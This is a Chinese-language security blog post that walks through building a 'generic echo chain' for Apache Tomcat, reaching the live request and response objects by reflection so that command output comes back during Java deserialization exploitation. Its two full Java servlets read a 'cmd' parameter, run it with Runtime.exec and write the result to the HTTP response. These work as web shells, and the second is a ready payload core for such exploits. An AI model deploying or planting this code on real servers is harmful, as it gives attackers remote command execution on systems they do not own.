tomcat通用回显链从0到1

2022-05-17 18:15:00 浏览数 (1)

xDemo

代码语言:javascript复制
package com.naihe;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;

@WebServlet("/cmd")
public class tomcat extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {
        String cmd = req.getParameter("cmd");
        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
            resp.getWriter().write(len);
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req,resp);

    }
}

当看到这里应该会有人回想,就这?不就是servlet加命令执行么,确实如此,但本文主要讨论的是在反序列化的情况下,如何进行数据回显,因为在反序列化漏洞中无法直接调用HttpServletRequest和HttpServletResponse,只能通过反射获取Request和Response中的内容,上面的代码只是为了方便我们去挖掘和分析Request和Response的传递过程,分析出一条回显链

这里的@WebServlet("/cmd")需要开注解路由,在web.xml配置如下

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns="http://xmlns.jcp.org/xml/ns/javaee"
    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
    id="WebApp_ID" metadata-complete="false" version="4.0">
    <!-- metadata-complete取值为true,表示关闭注解支持 -->
    <!-- metadata-complete取值为false,表示启用注解支持 -->
</web-app>

分析流程

直接再index.jsp上下断点

可以看到Http11Processor中已经包含了request和response,可知道,再前面已经有其他类处理过了request和response将其内容传给Http11Processor,因此我们往前看Http11Processor内容从何而来

AbstractProcessorLight.process

AbstractProtocol$ConnectionHandler 在这里查看processor内容

现在我们看是processor是怎么赋值的 AbstractProtocol$ConnectionHandler

进入register方法 register方法大概就是生成一个RequestInfo对象然后再里面填充内容

这里我们看一下this.global是什么

可以看到是一个RequestGroupInfo类

进入RequestGroupInfo,可以看到有个processors,是存储RequestInfo对象得列表,接下来看看RequestInfo是什么

进入RequestInfo,发现里面有个Request,这是我们想要得那个Request么,跟进去看看

进入Request,发现居然没有继承HttpServletResponse,那这应该就不是我们要找的Request,那开发者不可能取一个完全没有关系得类名吧,这岂不是让其他程序员天天坐牢啊

通过网上得资料了解到这个Requests会调用getNote方法返回一个继承至 HttpServletResponse的Response类

这就是我们要的Response类

接下来我们分析setGlobalProcessor

就是把生成的自己添加到RequestInfo中

RequestInfo

上面如何获得Request已经分析完了,接下来我们分析如何让java加载上面的数据

我们只需要找到一个类会被tomcat自动加载 在tomcat源码中可以看到会调用service.addConnector,很明显会用到connector

进入Connector,可以发现ProtocolHandler里面存储的是Http11NioProtocol

下面就是一下继承关系

可以看到最终Http11NioProtocol还是继承自AbstractProtocol

这样一来就可以通过ProtocolHandler来存放我们之前的信息了 service只是一个接口,而StandardService才是其实现类,所以说service就是StandardService

因此我们只需要要获取StandardService就行了

而StandardService可以从WebappClassLoaderBase上下文类加载器中间接获取获取

WebappClassLoaderBase只能获取StandardContext,而回显入口为StandardService,因此我们需要使用ApplicationContext将其封装一遍,在进而获取StandardService

构造方法

standardService为Service的实现类

总结

回显链

代码语言:javascript复制
package com.naihe;


import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;


@WebServlet("/demo")
public class test extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
            
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
            
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[]) connectors.get(standardService);
            
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);
            
            Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
            
            for (Class<?> declaredClass : declaredClasses) {

                if (declaredClass.getName().length()==52){
                    
                    java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandler.setAccessible(true);
                    
                    Field global = declaredClass.getDeclaredField("global");
                    global.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<org.apache.coyote.RequestInfo>  requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
                    Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req1.setAccessible(true);


                    for (RequestInfo info : requestInfo) {

                        org.apache.coyote.Request request = (Request) req1.get(info);

                        org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
                        
                        org.apache.catalina.connector.Response response = request1.getResponse();

                        String cmd = request1.getParameter("cmd");
                        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                        BufferedInputStream bis = new BufferedInputStream(is);
                        int len;
                        while ((len = bis.read())!=-1){
                            response.getWriter().write(len);
                        }
                    }
                }
            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException | ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }

}

0 人点赞